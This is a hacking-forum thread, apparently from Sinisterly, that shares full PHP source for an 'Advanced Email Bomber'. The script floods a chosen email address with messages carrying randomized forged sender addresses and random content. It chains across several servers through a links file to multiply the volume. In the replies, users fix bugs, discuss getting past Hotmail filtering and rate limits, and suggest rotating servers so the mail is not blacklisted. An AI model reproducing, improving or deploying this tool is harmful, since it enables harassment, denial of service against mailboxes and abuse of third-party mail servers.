![]() |
|
Advanced Email Bomber - Printable Version +- Sinisterly (https://sinister.ly) +-- Forum: Coding (https://sinister.ly/Forum-Coding) +--- Forum: PHP (https://sinister.ly/Forum-PHP) +--- Thread: Advanced Email Bomber (/Thread-Advanced-Email-Bomber) Pages:
1
2
|
Advanced Email Bomber - hackarchives - 01-24-2013 Here is an advanced email bomber. Coded it today just for HC. Features:
How to Use: All fields are self understood but pay attention to this: File Link for other servers: Here a text file with links for the same file on other servers should be made.For example suppose you have uploaded the script on other servers as well with the name mylove.php and the file with the links is named as links.txt. SO the field File Link for other servers: should be filled with links.txtYour links file should look like Code: http://server1.org/mylove.php
http://server2.org/mylove.php
http://server3.org/mylove.php
http://server4.org/mylove.php
http://server5.org/mylove.phpNote:Other servers should also contain links.txt or you can use absolute address in the first one i.e. http://server1.org/links.txt Code: PHP Code: <html>
<!--
Script by Hackarchives
website: http://hackarchives.org
-->
<title>Email Bomber</title>
<style type="text/css">
body
{
background-color:black;
color:white;
}
#error
{
font-weight:bold;
color:red;
}
#success
{
font-weight:bold;
color:green;
}
a:link
{
text-decoration:none;
color:white;
}
a:visited
{
text-decoration:none;
color:white;
}
a:hover
{
text-decoration:none;
color:red;
}
</style>
<body>
<?php
$rand_alpha = array_merge(range('A', 'Z'), range('a', 'z'));
function checklink($url)
{
$curl = curl_init($url);
curl_setopt($curl, CURLOPT_NOBODY, true);
$result = curl_exec($curl);
$ret = false;
if ($result !== false)
{
$statusCode = curl_getinfo($curl, CURLINFO_HTTP_CODE);
if ($statusCode == 200)
{
$ret = true;
}
}
curl_close($curl);
return $ret;
}
function getrand($arg1,$arg2="")
{
global $rand_alpha;
$str = "";
for($i=0;$i<$arg1;$i++)
{
$str.= $rand_alpha[array_rand($rand_alpha,1)];
}
if($arg2 != "")
{
$str2 = "";
$email_len = rand(3,12);
for($i=0;$i<$email_len;$i++)
{
$str2 .= $rand_alpha[array_rand($rand_alpha,1)];
}
$str .= '@'.$str2.'.com';
}
return $str;
}
?>
<center>
<h1>Advanced Email Bomber</h1>
<sub id="info"><a href="http://hackarchives.org" target="_blank">Developed by Hackarchives<br />Website: http://hackarchives.org</a></sub><br />
<?php
if (!function_exists( 'mail' ) )
{
$flag = 0;
$err[$init++] = 'mail() function is disbled on this server.';
}
if(isset($_GET['bomb']))
{
$flag = 0;
$email = $_GET['email'];
$file = $_GET['file'];
$no = (int)$_GET['no'];
$sub = $_GET['sub'];
$con = $_GET['content'];
$init = 0;
$point = 0;
if(isset($_GET['point']))
{
$point = $_GET['point'];
}
if (!filter_var($email, FILTER_VALIDATE_EMAIL))
{
$err[$init++] = 'Please enter a valid Email Address';
$flag = 1;
}
if(!is_int($no))
{
$err[$init++] = 'Number of emails to be sent should an integer';
$flag = 1;
}
else
{
if($no < 0)
{
$err[$init++] = 'Number of emails to be sent should be atleast 1';
$flag = 1;
}
if($no == 0)
{
$no = rand(0,20);
}
}
$err_count = count($err);
if($err_count > 0)
{
echo '<p id="error">';
for($shout=0;$shout<$err_count;$shout++)
{
echo $err[$shout].'<br />';
}
echo '</p>';
}
if($flag == 0)
{
echo '<p id="success">';
for($send=0;$send<$no;$send++)
{
$up = rand(5,15);
$down = rand(5,15);
$sender = 'From: '. getrand($up,$down);
if($sub == "" || $sub == NULL)
{
$rand = rand(5,30);
$sub = getrand($rand);
}
if($con == "" || $con == NULL)
{
$rand = rand(30,300);
$con = getrand($rand);
}
mail($email,$sub,$con,$sender);
}
echo 'Mail Sent '.$no.' times';
echo '</p>';
if($file != "")
{
if(file_exists($file))
{
$activate = 0;
$done = 0;
$fp = fopen($file,"r");
while (($line = fgets($fp, 4096)) !== false)
{
if(checklink($line))
{
if($point == $activate)
{
$goto = $line;
break;
}
else
{
$activate++;
}
}
}
$point++;
$goto .= '?email='.$email.'&file='.$file.'&no='.$no.'&sub='.$sub.'&content='.$con.'&bomb=BOMB&point='.$point;
echo ' <META HTTP-EQUIV="refresh" CONTENT="5;URL='.$goto.'">';
fclose($fp);
}
}
}
}
?>
<form method="get" action="">
<br /><table>
<tr><td>Email Address to Bomb:</td> <td><input type="text" name="email"></td></tr>
<tr><td>File Link for other servers:</td> <td><input type="text" name="file"></td></tr>
<tr><Td colspan=2><sub>If you leave min. no of emails to 0, random emails b/w 0-20 will be sent/server</sub></td></tr>
<tr><td>Number of emails per server</td><td><input type="text" name="no"></td></tr>
<tr><td colspan=2><sub>Message Subject and content.If you leave this empty, random content will be sent</sub></td></tr>
<tr><td>Message Subject:</td> <td><input type="text" name="sub"></td></tr>
<tr><td>Content:</td> <td><textarea name="content"></textarea></td></tr>
</table>
<input type="Submit" name="bomb" value="BOMB">
</form>
</center>
</body>
</html>
DO pin points errors if any. Hope you like it. Note: Don't try to send out many emails from 1 server as their limit might be small.By sending too many emails from 1 server , the server's IP may be blacklisted for spam or even blocked. [Thanks to Geoff for telling me to do that] P.S. --> i know my english is bad but ask any questions here if you want RE: Advanced Email Bomber - The Alchemist - 01-25-2013 Cool! You've made use of PHP cURL. So, the links.txt is kept so that I can command remote files(email bomber files) to perform the same task right? Well thought. Thats what I was wondering, how it would bypass spam filters. RE: Advanced Email Bomber - hackarchives - 01-25-2013 you will be redirected according to the list.I am updating the script.There was a minor glitch. Updated.The issue was that email was sent from the same email address with same content as for loop was after the subject and content.So i just had to shift the rand functions inside the for loop RE: Advanced Email Bomber - The Real Slim Shady - 01-25-2013 I do have to start off with: what the hell is a form <input type=method> Ive never seen or heard of this before?? And just thought id mention that most servers, especially free places where this is most likely to be hosted, probably limit emails to 100-300 per hour. Just thought id point that out to users who would load this up, throw 10,000 or some crazy number and expect that to get through. Probably wont. RE: Advanced Email Bomber - hackarchives - 01-25-2013 (01-25-2013, 03:35 PM)Geoff Wrote: I do have to start off with: what the hell is a form <input type=method> Ive never seen or heard of this before?? Oops..Thanks for pointing out..My bad..WTF was i thinking...Thanks again And yeah i will add that information under the thread too Script updated and Note added RE: Advanced Email Bomber - noize - 01-28-2013 Nice coded. at all. but got to say I tried this on hotmail and few are arriving to the inbox. RE: Advanced Email Bomber - hackarchives - 01-29-2013 Well,i can't help you in that case.That's your server!The mail function works fine.It may be a possibility that hot mail has blocked server ip or so RE: Advanced Email Bomber - NightFox109 - 05-16-2013 Looks good, gonna try this out thanks for sharing
RE: Advanced Email Bomber - NightFox109 - 05-16-2013 Looks good, gonna try this out thanks for sharing
RE: Advanced Email Bomber - sitehost - 08-06-2013 I like the Script, though a couple small changes and use several servers to rotate through were your only sending a few emails an hour, less then 200 emails a day, works great and will not get blacklisted.. just need to create a Round Robin Script that would contact the remote servers and send to an email specified.. |